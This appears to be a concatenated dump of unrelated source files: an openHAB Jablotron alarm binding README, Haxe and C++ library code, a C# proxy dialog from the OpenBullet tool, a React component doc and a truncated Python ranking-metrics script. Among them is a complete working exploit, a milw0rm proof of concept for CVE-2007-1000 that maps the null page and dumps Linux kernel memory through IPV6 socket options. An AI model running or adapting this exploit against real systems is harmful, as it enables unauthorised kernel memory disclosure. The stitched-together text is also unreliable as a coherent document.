Things\n\n| thing | note |\n|---------|-------------------------------------------|\n| bridge | the bridge to your Jablonet cloud account |\n| JA-80 | the OASIS alarm |\n| JA-100 | with the thermometer support |\n| JA-100F | without the thermometer support |\n \n## Discovery\n\nThis binding supports auto discovery. Just manually add a bridge thing and supply login & password to your Jablonet account.\n\n## Binding Configuration\n\nBinding itself doesn't require specific configuration.\n\n## Thing Configuration\n\n| thing | config parameter name | description | type |\n|----------------------|-----------------------|------------------------------------------------------------------------------------|-----------------------|\n| bridge | login | the login to your Jablonet account | mandatory |\n| bridge | password | the password to your Jablonet account | mandatory |\n| bridge | refresh | the refresh time for all alarm warnings (ALARM, TAMPER triggers and SERVICE state) | optional, default=30s |\n| bridge | lang | the language of the alarm texts | optional, default=en |\n| JA-80/JA-100/JA-100F | refresh | the channels refresh period in seconds | optional, default=60s |\n| JA-80/JA-100/JA-100F | serviceId | the service ID which identifies the alarm | mandatory |\n| JA-100/JA-100F | code | the master code for controlling sections | optional |\n\n## Channels\n\n| thing | channel name | item type | description |\n|----------------------|------------------|--------------------|-----------------------------------------------------------|\n| bridge | N/A | N/A | the bridge does not expose any channels |\n| JA-80 | statusA | Switch | the status of the A section |\n| JA-80 | statusB | Switch | the status of the AB/B section |\n| JA-80 | statusABC | Switch | the status of the ABC section |\n| JA-80 | statusPGX | Switch | the status of PGX |\n| JA-80 | statusPGY | Switch | the status of PGY |\n| JA-80 | command | String | the channel for sending keyboard codes to the OASIS alarm |\n| JA-80/JA-100/JA-100F | lastEvent | String | the description of the last event |\n| JA-80/JA-100/JA-100F | lastEventClass | String | the class of the last event - e.g. arm, disarm, ... |\n| JA-80/JA-100/JA-100F | lastEventInvoker | String | the invoker of the last event |\n| JA-80/JA-100/JA-100F | lastEventTime | DateTime | the time of the last event |\n| JA-80/JA-100/JA-100F | lastCheckTime | DateTime | the time of the last checking |\n| JA-80/JA-100/JA-100F | alarm | N/A | the alarm trigger, might fire ALARM or TAMPER events |\n| JA-100/JA-100F | lastEventSection | String | the section of the last event |\n| JA-100 | state_%nr% | String | the section %nr% status/control |\n| JA-100 | pgm_%nr% | Switch | the PG switch %nr% status/control |\n| JA-100 | thermometer_%nr% | Number:Temperature | the thermometer %nr% value |\n| JA-100 | thermostat_%nr% | Number:Temperature | the thermostat %nr% value |\n| JA-100F | sec-%nr% | String | the section %nr% status/control |\n| JA-100F | pg-%nr% | Switch | the PG switch %nr% status/control |\n\nThe state, pgm, thermometer, thermostat, sec and pg channels for the JA-100/JA-100F alarms are dynamically created according to your configuration.\n\n* The sections are represented by String channels (with possible values \"set\", \"unset\", \"partialSet\" for JA-100 and \npossible values \"ARM\", \"PARTIAL_ARM\" and \"DISARM\" for JA100-F)\n\n## Full Example\n\n# items file for JA80\n\n```\nString HouseAlarm \"Alarm [%s]\" \nString JablotronCode { channel=\"jablotron:oasis:8c93a5ed:50139:command\", autoupdate=\"false\" }\nSwitch\tArmSectionA\t\"Garage arming\"\t\t(Alarm)\t{ channel=\"jablotron:oasis:8c93a5ed:50139:statusA\" }\nSwitch\tArmSectionAB\t\"1st floor arming\"\t\t(Alarm)\t{ channel=\"jablotron:oasis:8c93a5ed:50139:statusB\" }\nSwitch\tArmSectionABC\t\"2nd floor arming\"\t\t(Alarm)\t{ channel=\"jablotron:oasis:8c93a5ed:50139:statusABC\" }\nString LastEvent \"Last event code [%s]\" { channel=\"jablotron:oasis:8c93a5ed:50139:lastEvent\" }\nString LastEventClass \"Last event class [%s]\" { channel=\"jablotron:oasis:8c93a5ed:50139:lastEventClass\" }\nString LastEventInvoker \"Last event class [%s]\" { channel=\"jablotron:oasis:8c93a5ed:50139:lastEventInvoker\" }\nDateTime LastEventTime \"Last event [%1$td.%1$tm.%1$tY %1$tR]\" { channel=\"jablotron:oasis:8c93a5ed:50139:lastEventTime\" }\nDateTime LastCheckTime \"Last check [%1$td.%1$tm.%1$tY %1$tR]\" { channel=\"jablotron:oasis:8c93a5ed:50139:lastCheckTime\" }\nSwitch\tArmControlPGX\t\"PGX\"\t\t(Alarm)\t{ channel=\"jablotron:oasis:8c93a5ed:50139:statusPGX\" }\nSwitch\tArmControlPGY\t\"PGY\"\t\t(Alarm)\t{ channel=\"jablotron:oasis:8c93a5ed:50139:statusPGY\" }\n```\n\n# sitemap example for JA80\n\n```\nText item=HouseAlarm icon=\"alarm\" {\n Switch item=ArmSectionA\n Switch item=ArmSectionAB\n Switch item=ArmSectionABC\n Text item=LastEvent\n Text item=LastEventInvoker\n Text item=LastEventClass\n Text item=LastEventTime\n Text item=LastCheckTime\n Switch item=ArmControlPGX\n Switch item=ArmControlPGY\n Switch item=JablotronCode label=\"Arm\" mappings=[1234=\" A \", 2345=\" B \", 3456=\"ABC\"]\n Switch item=JablotronCode label=\"Disarm\" mappings=[9876=\"Disarm\"]\n }\n```\n\n# rule example for JA80\n\n```\nrule \"Alarm\"\nwhen \n Item ArmSectionA changed or Item ArmSectionAB changed or Item ArmSectionABC changed or \n System started\nthen\n if( ArmSectionA.state == ON || ArmSectionAB.state == ON || ArmSectionABC.state == ON)\n { postUpdate(HouseAlarm, \"partial\") }\n if( ArmSectionA.state == OFF && ArmSectionAB.state == OFF && ArmSectionABC.state == OFF)\n { postUpdate(HouseAlarm, \"disarmed\") }\n if( ArmSectionA.state == ON && ArmSectionAB.state == ON && ArmSectionABC.state == ON)\n { postUpdate(HouseAlarm, \"armed\") }\nend\n\nrule \"Jablotron alarm trigger\"\nwhen\n Channel \"jablotron:oasis:8c93a5ed:50139:alarm\" triggered\nthen\n logInfo(\"default.rules\", \"Jablotron triggered \" + receivedEvent.getEvent())\nend\n```\n"} +{"text": "/*\n * Copyright (C)2005-2019 Haxe Foundation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n */\n\npackage haxe.zip;\n\nenum Huffman {\n\tFound(i:Int);\n\tNeedBit(left:Huffman, right:Huffman);\n\tNeedBits(n:Int, table:Array);\n}\n\nclass HuffTools {\n\tpublic function new() {}\n\n\tfunction treeDepth(t) {\n\t\treturn switch (t) {\n\t\t\tcase Found(_): 0;\n\t\t\tcase NeedBits(_, _): throw \"assert\";\n\t\t\tcase NeedBit(a, b):\n\t\t\t\tvar da = treeDepth(a);\n\t\t\t\tvar db = treeDepth(b);\n\t\t\t\t1 + ((da < db) ? da : db);\n\t\t}\n\t}\n\n\tfunction treeCompress(t) {\n\t\tvar d = treeDepth(t);\n\t\tif (d == 0)\n\t\t\treturn t;\n\t\tif (d == 1)\n\t\t\treturn switch (t) {\n\t\t\t\tcase NeedBit(a, b): NeedBit(treeCompress(a), treeCompress(b));\n\t\t\t\tdefault: throw \"assert\";\n\t\t\t}\n\t\tvar size = 1 << d;\n\t\tvar table = new Array();\n\t\tfor (i in 0...size)\n\t\t\ttable.push(Found(-1));\n\t\ttreeWalk(table, 0, 0, d, t);\n\t\treturn NeedBits(d, table);\n\t}\n\n\tfunction treeWalk(table, p, cd, d, t) {\n\t\tswitch (t) {\n\t\t\tcase NeedBit(a, b):\n\t\t\t\tif (d > 0) {\n\t\t\t\t\ttreeWalk(table, p, cd + 1, d - 1, a);\n\t\t\t\t\ttreeWalk(table, p | (1 << cd), cd + 1, d - 1, b);\n\t\t\t\t} else\n\t\t\t\t\ttable[p] = treeCompress(t);\n\t\t\tdefault:\n\t\t\t\ttable[p] = treeCompress(t);\n\t\t}\n\t}\n\n\tfunction treeMake(bits:haxe.ds.IntMap, maxbits:Int, v:Int, len:Int) {\n\t\tif (len > maxbits)\n\t\t\tthrow \"Invalid huffman\";\n\t\tvar idx = (v << 5) | len;\n\t\tif (bits.exists(idx))\n\t\t\treturn Found(bits.get(idx));\n\t\tv <<= 1;\n\t\tlen += 1;\n\t\treturn NeedBit(treeMake(bits, maxbits, v, len), treeMake(bits, maxbits, v | 1, len));\n\t}\n\n\tpublic function make(lengths, pos, nlengths, maxbits) {\n\t\tif (nlengths == 1) {\n\t\t\treturn NeedBit(Found(0), Found(0));\n\t\t}\n\t\tvar counts = new Array();\n\t\tvar tmp = new Array();\n\t\tif (maxbits > 32)\n\t\t\tthrow \"Invalid huffman\";\n\t\tfor (i in 0...maxbits) {\n\t\t\tcounts.push(0);\n\t\t\ttmp.push(0);\n\t\t}\n\t\tfor (i in 0...nlengths) {\n\t\t\tvar p = lengths[i + pos];\n\t\t\tif (p >= maxbits)\n\t\t\t\tthrow \"Invalid huffman\";\n\t\t\tcounts[p]++;\n\t\t}\n\t\tvar code = 0;\n\t\tfor (i in 1...maxbits - 1) {\n\t\t\tcode = (code + counts[i]) << 1;\n\t\t\ttmp[i] = code;\n\t\t}\n\t\tvar bits = new haxe.ds.IntMap();\n\t\tfor (i in 0...nlengths) {\n\t\t\tvar l = lengths[i + pos];\n\t\t\tif (l != 0) {\n\t\t\t\tvar n = tmp[l - 1];\n\t\t\t\ttmp[l - 1] = n + 1;\n\t\t\t\tbits.set((n << 5) | l, i);\n\t\t\t}\n\t\t}\n\t\treturn treeCompress(NeedBit(treeMake(bits, maxbits, 0, 1), treeMake(bits, maxbits, 1, 1)));\n\t}\n}\n"} +{"text": "// Copyright (c) 2001-2011 Hartmut Kaiser\n// Copyright (c) 2001-2011 Joel de Guzman\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n\n#if !defined(SPIRIT_REPOSITORY_QI_DIRECTIVE_APR_28_2009_1258PM)\n#define SPIRIT_REPOSITORY_QI_DIRECTIVE_APR_28_2009_1258PM\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#include \n#include \n#include \n#include \n\n#endif\n\n"} +{"text": "using Extreme.Net;\nusing Microsoft.Win32;\nusing OpenBullet.Views;\nusing OpenBullet.Views.Main;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Windows;\nusing System.Windows.Controls;\nusing System.Windows.Input;\n\nnamespace OpenBullet\n{\n /// \n /// Logica di interazione per DialogAddProxies.xaml\n /// \n public partial class DialogAddProxies : Page\n {\n public object Caller { get; set; }\n\n public DialogAddProxies(object caller)\n {\n InitializeComponent();\n Caller = caller;\n foreach (string i in Enum.GetNames(typeof(ProxyType)))\n if(i != \"Chain\") proxyTypeCombobox.Items.Add(i);\n proxyTypeCombobox.SelectedIndex = 0;\n }\n\n \n private void loadProxiesButton_MouseDown(object sender, MouseButtonEventArgs e)\n {\n OpenFileDialog ofd = new OpenFileDialog();\n ofd.Filter = \"Proxy files | *.txt\";\n ofd.FilterIndex = 1;\n ofd.ShowDialog();\n locationTextbox.Text = ofd.FileName;\n }\n\n \n private void acceptButton_Click(object sender, RoutedEventArgs e)\n {\n var fileName = locationTextbox.Text;\n List lines = new List();\n\n try\n {\n switch (modeTabControl.SelectedIndex)\n {\n // File\n case 0:\n if (fileName != string.Empty)\n {\n OB.Logger.LogInfo(Components.ProxyManager, $\"Trying to load from file {fileName}\");\n lines.AddRange(File.ReadAllLines(fileName).ToList());\n }\n else\n {\n OB.Logger.LogError(Components.ProxyManager, \"No file specified!\", true);\n return;\n }\n break;\n\n case 1:\n if (proxiesBox.Text != string.Empty)\n {\n lines.AddRange(proxiesBox.Text.Split(new string[] { \"\\r\\n\", \"\\n\" }, StringSplitOptions.None));\n }\n else\n {\n OB.Logger.LogError(Components.ProxyManager, \"The box is empty!\", true);\n return;\n }\n break;\n\n case 2:\n if (urlTextbox.Text != string.Empty)\n {\n HttpRequest request = new HttpRequest();\n var response = request.Get(urlTextbox.Text).ToString();\n lines.AddRange(response.Split(new string[] { \"\\r\\n\", \"\\n\" }, StringSplitOptions.None));\n }\n else\n {\n OB.Logger.LogError(Components.ProxyManager, \"No URL specified!\", true);\n return;\n }\n break;\n }\n }\n catch (Exception ex)\n {\n OB.Logger.LogError(Components.ProxyManager, $\"There was an error: {ex.Message}\");\n return;\n }\n\n if(Caller.GetType() == typeof(ProxyManager))\n {\n ((ProxyManager)Caller).AddProxies(lines, (ProxyType)Enum.Parse(typeof(ProxyType), proxyTypeCombobox.Text), usernameTextbox.Text, passwordTextbox.Text);\n }\n ((MainDialog)Parent).Close();\n }\n\n private void FileMode_MouseDown(object sender, MouseButtonEventArgs e)\n {\n fileMode.Foreground = Utils.GetBrush(\"ForegroundMenuSelected\");\n pasteMode.Foreground = Utils.GetBrush(\"ForegroundMain\");\n apiMode.Foreground = Utils.GetBrush(\"ForegroundMain\");\n modeTabControl.SelectedIndex = 0;\n }\n\n private void PasteMode_MouseDown(object sender, MouseButtonEventArgs e)\n {\n fileMode.Foreground = Utils.GetBrush(\"ForegroundMain\");\n pasteMode.Foreground = Utils.GetBrush(\"ForegroundMenuSelected\");\n apiMode.Foreground = Utils.GetBrush(\"ForegroundMain\");\n modeTabControl.SelectedIndex = 1;\n }\n\n private void ApiMode_MouseDown(object sender, MouseButtonEventArgs e)\n {\n fileMode.Foreground = Utils.GetBrush(\"ForegroundMain\");\n pasteMode.Foreground = Utils.GetBrush(\"ForegroundMain\");\n apiMode.Foreground = Utils.GetBrush(\"ForegroundMenuSelected\");\n modeTabControl.SelectedIndex = 2;\n }\n }\n}\n"} +{"text": "/* Copyright 2012 Jukka Jylänki\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License. */\n\n/** @file PBVolume.h\n\t@author Jukka Jylänki\n\t@brief Implements a convex polyhedron data structure. */\n\n#pragma once\n\n#include \"../Math/float3.h\"\n#include \"../Math/assume.h\"\n#include \"../Math/Swap.h\"\n#include \"AABB.h\"\n#include \"Plane.h\"\n#include \"Sphere.h\"\n#include \"Polyhedron.h\"\n\nMATH_BEGIN_NAMESPACE\n\n/// Reports a result from an approximate culling operation.\nenum CullTestResult\n{\n\t// The tested objects don't intersect - they are fully disjoint.\n\tTestOutside,\n\n\t// The tested object is at least not fully contained inside the other object, but no other information is known.\n\t// The objects might intersect or be disjoint.\n\tTestNotContained,\n\n\t// The tested object is fully contained inside the other object.\n\tTestInside\n};\n\n/// PBVolume is a \"plane bounded volume\", a convex polyhedron represented by a set\n/// of planes. The number of planes is fixed at compile time so that compilers are able to perfectly unroll the loops for\n/// best performance. As a fixed convention, the plane normals of the volume point outwards from the plane, so the\n/// negative halfspaces are inside the convex volume.\ntemplate\nclass PBVolume\n{\npublic:\n\tPlane p[N];\n\n\tint NumPlanes() const { return N; }\n\n\tbool Contains(const vec &point) const\n\t{\n\t\tfor(int i = 0; i < N; ++i)\n\t\t\tif (p[i].SignedDistance(point) > 0.f)\n\t\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\t/// Performs an *approximate* intersection test between this PBVolume and the given AABB.\n\t/** This function is best used for high-performance object culling purposes, e.g. for frustum-aabb culling, when\n\t\ta small percentage of false positives do not matter.\n\t\t@return An enum denoting whether the given object is inside or intersects this PBVolume. See the CullTestResult enum \n\t\t\tfor the interpretation of the return values. */\n\tCullTestResult InsideOrIntersects(const AABB &aabb) const\n\t{\n\t\tCullTestResult result = TestInside;\n\n\t\tfor(int i = 0; i < N; ++i)\n\t\t{\n\t\t\tvec nPoint;\n\t\t\tvec pPoint;\n\t\t\tnPoint.x = (p[i].normal.x < 0.f ? aabb.maxPoint.x : aabb.minPoint.x);\n\t\t\tnPoint.y = (p[i].normal.y < 0.f ? aabb.maxPoint.y : aabb.minPoint.y);\n\t\t\tnPoint.z = (p[i].normal.z < 0.f ? aabb.maxPoint.z : aabb.minPoint.z);\n#ifdef MATH_VEC_IS_FLOAT4\n\t\t\tnPoint.w = 1.f;\n#endif\n\n\t\t\tpPoint.x = (p[i].normal.x >= 0.f ? aabb.maxPoint.x : aabb.minPoint.x);\n\t\t\tpPoint.y = (p[i].normal.y >= 0.f ? aabb.maxPoint.y : aabb.minPoint.y);\n\t\t\tpPoint.z = (p[i].normal.z >= 0.f ? aabb.maxPoint.z : aabb.minPoint.z);\n#ifdef MATH_VEC_IS_FLOAT4\n\t\t\tpPoint.w = 1.f;\n#endif\n\n\t\t\t/*\n\t\t\t// Find the n and p points of the aabb. (The nearest and farthest corners relative to the plane)\n\t\t\tconst vec &sign = npPointsSignLUT[((p[i].normal.z >= 0.f) ? 4 : 0) +\n\t\t\t\t\t\t\t\t\t\t\t\t ((p[i].normal.y >= 0.f) ? 2 : 0) +\n\t\t\t\t\t\t\t\t\t\t\t\t ((p[i].normal.x >= 0.f) ? 1 : 0)];\n\t\t\tconst vec nPoint = c + sign*r;\n\t\t\tconst vec pPoint = c - sign*r;\n\t\t\t*/\n\n\t\t\tfloat a = p[i].SignedDistance(nPoint);\n\t\t\tif (a >= 0.f)\n\t\t\t\treturn TestOutside; // The AABB is certainly outside this PBVolume.\n\t\t\ta = p[i].SignedDistance(pPoint);\n\t\t\tif (a >= 0.f)\n\t\t\t\tresult = TestNotContained; // At least one vertex is outside this PBVolume. The whole AABB can't possibly be contained in this PBVolume.\n\t\t}\n\n\t\t// We can return here either TestInside or TestNotContained, but it's possible that the AABB was outside the frustum, and we\n\t\t// just failed to find a separating axis.\n\t\treturn result;\n\t}\n\n\tCullTestResult InsideOrIntersects(const Sphere &sphere) const\n\t{\n\t\tCullTestResult result = TestInside;\n\t\tfor(int i = 0; i < N; ++i)\n\t\t{\n\t\t\tfloat d = p[i].SignedDistance(sphere.pos);\n\t\t\tif (d >= sphere.r)\n\t\t\t\treturn TestOutside;\n\t\t\telse if (d >= -sphere.r)\n\t\t\t\tresult = TestNotContained;\n\t\t}\n\t\treturn result;\n\t}\n\nprivate:\n\tstruct CornerPt // A helper struct used only internally in ToPolyhedron.\n\t{\n\t\tint ptIndex; // Index to the Polyhedron list of vertices.\n\t\tint j, k; // The two plane faces in addition to the main plane that make up this point.\n\t};\n\n\tbool ContainsExcept(const vec &point, int i, int j, int k) const\n\t{\n\t\tfor(int l = 0; l < N; ++l)\n\t\t\tif (l != i && l != j && l != k && p[l].SignedDistance(point) > 0.f)\n\t\t\t\treturn false;\n\t\treturn true;\n\t}\n\npublic:\n\tPolyhedron ToPolyhedron() const\n\t{\n\t\tPolyhedron ph;\n\t\tstd::vector faces[N];\n\t\tfor(int i = 0; i < N-2; ++i)\n\t\t\tfor(int j = i+1; j < N-1; ++j)\n\t\t\t\tfor(int k = j+1; k < N; ++k)\n\t\t\t\t{\n\t\t\t\t\tvec corner;\n\t\t\t\t\tbool intersects = p[i].Intersects(p[j], p[k], 0, &corner);\n\t\t\t\t\tif (intersects && ContainsExcept(corner, i, j, k))\n\t\t\t\t\t{\n\t\t\t\t\t\tCornerPt pt;\n\n\t\t\t\t\t\t// Find if this vertex is duplicate of an existing vertex.\n\t\t\t\t\t\tbool found = false;\n\t\t\t\t\t\tfor(size_t l = 0; l < ph.v.size(); ++l)\n\t\t\t\t\t\t\tif (vec(ph.v[l]).Equals(corner))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\t\t\tpt.ptIndex = (int)l;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (!found) // New vertex?\n\t\t\t\t\t\t{\n//\t\t\t\t\t\t\tLOGI(\"New point at corner (%d,%d,%d): %s\", i, j, k, corner.ToString().c_str());\n\t\t\t\t\t\t\tph.v.push_back(corner);\n\t\t\t\t\t\t\tpt.ptIndex = (int)ph.v.size()-1;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n//\t\t\t\t\t\t\tLOGI(\"Existing point at corner (%d,%d,%d): %s\", i, j, k, corner.ToString().c_str());\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpt.j = j;\n\t\t\t\t\t\tpt.k = k;\n\t\t\t\t\t\tfaces[i].push_back(pt);\n\n\t\t\t\t\t\tpt.j = i;\n\t\t\t\t\t\tpt.k = k;\n\t\t\t\t\t\tfaces[j].push_back(pt);\n\n\t\t\t\t\t\tpt.j = i;\n\t\t\t\t\t\tpt.k = j;\n\t\t\t\t\t\tfaces[k].push_back(pt);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t// Check if we got a degenerate polyhedron?\n\t\tif (ph.v.size() <= 1)\n\t\t\treturn ph;\n\t\telse if (ph.v.size() == 2)\n\t\t{\n\t\t\t// Create a degenerate face that's an edge.\n\t\t\tPolyhedron::Face face;\n\t\t\tface.v.push_back(0);\n\t\t\tface.v.push_back(1);\n\t\t\tph.f.push_back(face);\n\t\t\treturn ph;\n\t\t}\n\t\telse if (ph.v.size() == 3)\n\t\t{\n\t\t\t// Create a degenerate face that's a triangle.\n\t\t\tPolyhedron::Face face;\n\t\t\tface.v.push_back(0);\n\t\t\tface.v.push_back(1);\n\t\t\tface.v.push_back(2);\n\t\t\tph.f.push_back(face);\n\t\t\treturn ph;\n\t\t}\n\n\t\t// Connect the edges in each face using selection sort.\n\t\tfor(int i = 0; i < N; ++i)\n\t\t{\n\t\t\tstd::vector &pt = faces[i];\n\t\t\tif (pt.size() < 3)\n\t\t\t\tcontinue;\n\t\t\tfor(size_t j = 0; j < pt.size()-1; ++j)\n\t\t\t{\n\t\t\t\tCornerPt &prev = pt[j];\n\t\t\t\tbool found = false;\n\t\t\t\tfor(size_t k = j+1; k < pt.size(); ++k)\n\t\t\t\t{\n\t\t\t\t\tCornerPt &cur = pt[k];\n\t\t\t\t\tif (cur.j == prev.k)\n\t\t\t\t\t{\n\t\t\t\t\t\tSwap(cur, pt[j+1]);\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tif (cur.k == prev.k)\n\t\t\t\t\t{\n\t\t\t\t\t\tSwap(cur.j, cur.k);\n\t\t\t\t\t\tSwap(cur, pt[j+1]);\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tassert(found);\n\t\t\t\tMARK_UNUSED(found);\n\t\t\t}\n\t\t\tassert(pt[0].j == pt[pt.size()-1].k);\n\t\t\tPolyhedron::Face face;\n\t\t\tfor(size_t j = 0; j < pt.size(); ++j)\n\t\t\t{\n\t\t\t\tface.v.push_back(pt[j].ptIndex);\n\t\t\t}\n\t\t\tph.f.push_back(face);\n\t\t}\n\n\t\t// Fix up winding directions.\n\t\tfor(size_t i = 0; i < ph.f.size(); ++i)\n\t\t{\n\t\t\tPlane face = ph.FacePlane((int)i);\n\t\t\tfor(size_t j = 0; j < ph.v.size(); ++j)\n\t\t\t{\n\t\t\t\tif (face.SignedDistance(ph.v[j]) > 1e-3f)\n\t\t\t\t{\n\t\t\t\t\tph.f[i].FlipWindingOrder();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn ph;\n\t}\n\n\t/// Computes the set intersection of this PBVolume and the PBVolume rhs.\n\t/// That is, returns the convex set of points that are contained in both this and rhs.\n\t/// Set intersection is symmetric, so a.SetIntersection(b) is the same as b.SetIntersection(a).\n\t/// @note The returned PBVolume may contain redundant planes, these are not pruned.\n\ttemplate\n\tPBVolume SetIntersection(const PBVolume &rhs) const\n\t{\n\t\tPBVolume res;\n\t\tfor(int i = 0; i < N; ++i)\n\t\t\tres.p[i] = p[i];\n\t\tfor(int i = 0; i < M; ++i)\n\t\t\tres.p[N+i] = rhs.p[i];\n\t\treturn res;\n\t}\n};\n\nMATH_END_NAMESPACE\n"} +{"text": "import { Badge } from 'terra-profile-image/package.json?dev-site-package';\n\nimport ProfileImageDefault from '../example/ProfileImageDefault?dev-site-example';\nimport ProfileImageFit from '../example/ProfileImageFitTypes?dev-site-example';\n\nimport ProfileImagePropsTable from 'terra-profile-image/src/ProfileImage?dev-site-props-table';\n\n\n\n# Terra Profile Image\n\nThe terra-profile-image component displays an avatar image while the profile image is being loaded. If the profile image successfully loads, the avatar image is replaced with the profile image. Otherwise, the avatar image is left as is. All styling set on the profile image will be applied to the avatar image.\n\n## Getting Started\n\n- Install with [npmjs](https://www.npmjs.com):\n - `npm install terra-profile-image`\n\n\n## Peer Dependencies\n\nThis component requires the following peer dependencies be installed in your app for the component to properly function.\n\n| Peer Dependency | Version |\n|-|-|\n| react | ^16.8.5 |\n| react-dom | ^16.8.5 |\n\n\n\n## Usage\n\n```jsx\nimport ProfileImage from 'terra-profile-image';\n```\n\n## Examples\n\n\n\n## Profile Image Props\n\n"} +{"text": "/*\n * Linux Kernel IPV6_Getsockopt_Sticky Memory Leak Proof Of Concept\n * dreyer 07-2007\n * Osu, Tatakae, Sexy Pandas!\n *\n * Dumps to stdout the memory mapped between INI and END.\n *\n * CVE: CVE-2007-1000 BID: 22904\n *\n * Affected: Linux Kernel < 2.6.20.2\n *\n * http://bugzilla.kernel.org/show_bug.cgi?id=8134\n *\n * Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html\n *\n * For free!!! ( worth 600 EUR in zerobay! )\n *\n */\n\n\n#include \n#include \n#include \n#include \n#include \n\n#define HOPOPT_OFFSET 8\n#define INIADDR 0xc0100000\n#define ENDADDR 0xd0000000\nunsigned int i;\n\n\nint main(int argc, char *argv[]) {\n int s;\n unsigned int optlen;\n void *ptr;\n char value[10240];\n char text[12];\n\n fprintf(stderr,\"Ipv6_getsockopt_sticky vuln POC\\n\"\n \"dreyer '07 - free feels better\\n\"\n \"Dumping %p - %p to stdout\\n\",INIADDR,ENDADDR);\n\n s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n \n /* Make np->opt = NULL = 0x00000000 through IPV6_2292PKTOPTIONS */\n setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0);\n\n /* Make 0x00000000 address valid */\n ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);\n\n if (ptr != NULL) {\n perror(\"mmap\");\n exit(-1);\n }\n\n memset(ptr,0,4096);\n\n /* Make ptr point to np->opt->hopopt = (0x00000000)->hopopt = \n * 0x00000000 + 8 */\n ptr=(char *)((char *)ptr+HOPOPT_OFFSET);\n\n i=INIADDR;\n while(i0) {\n sprintf(text,\"\\n%08x:\",i);\n write(1,text,strlen(text));\n write(1,value,optlen);\n i=i+optlen;\n } else {\n /* We could not read this portion because of some error, skip it */\n i=i+4;\n }\n }\n\n return 0;\n}\n\n// milw0rm.com [2007-07-10]\n"} +{"text": "#!/usr/bin/python\n\nimport collections\nimport math\nimport re\nimport sys\nimport operator\nfrom optparse import make_option\nfrom optparse import OptionParser\n\noption_list = [\n make_option('--group_file', action='store', type='string', dest='group_file',\n help='[REQUIRED] The group flatfile.'),\n make_option('--score_file', action='store', type='string', dest='score_file',\n help='[REQUIRED] The score file.'),\n make_option('--target_file', action='store', type='string', dest='target_file',\n help='[REQUIRED] The target file.')\n]\n\ndef checkRequiredArguments(opts, parser):\n missing_options = []\n for option in parser.option_list:\n if re.match(r'^\\[REQUIRED\\]', option.help) and eval('opts.' + option.dest) == None:\n missing_options.extend(option._long_opts)\n if len(missing_options) > 0:\n parser.error('Missing REQUIRED parameters: ' + str(missing_options))\n\ndef ReadFlatFile(f):\n for line in open(f):\n if line.startswith('#'):\n continue\n yield line\n\ndef ReadByGroup(opts):\n group_file = ReadFlatFile(opts.group_file)\n score_file = ReadFlatFile(opts.score_file)\n target_file = ReadFlatFile(opts.target_file)\n\n prev_gid = None\n group = []\n for gid in group_file:\n score = float(score_file.next())\n target = float(target_file.next())\n if prev_gid != None and gid != prev_gid:\n yield group\n group = []\n\n prev_gid = gid\n group.append((score, target))\n\n if group:\n yield group\n\n\ndef discount(pos):\n return math.log(2.4)/math.log(pos + 2.4)\n\ndef mergeMetrics(sub_metric, summary_metrics):\n for k,v in sub_metric.iteritems():\n summary_metrics[k] += sub_metric[k]\n\ndef computeMetrics(ranked_targets):\n metrics = collections.defaultdict(lambda: 0)\n for i, target in enumerate(ranked_targets):\n utility = discount(i) * target\n metrics['dcu_{0}'.format(target)] += utility\n metrics['dcu_total'] += utility\n metrics['count_{0}'.format(target)] += 1\n metrics['count_total'] += 1\n\n return metrics\n\ndef main():\n parser = OptionParser(option_list=option_list)\n (opts, args) = parser.parse_args(sys.argv)\n checkRequiredArguments(opts, parser)\n metrics = collections.defaultdict(lambda: 0)\n\n for numGroups, group in enumerate(ReadByGroup(opts)):\n group.sort(key=operator.itemgetter(0), reverse=True)\n mergeMetrics(computeMetrics(map(operator.itemgetter(1), group)), metrics)\n\n 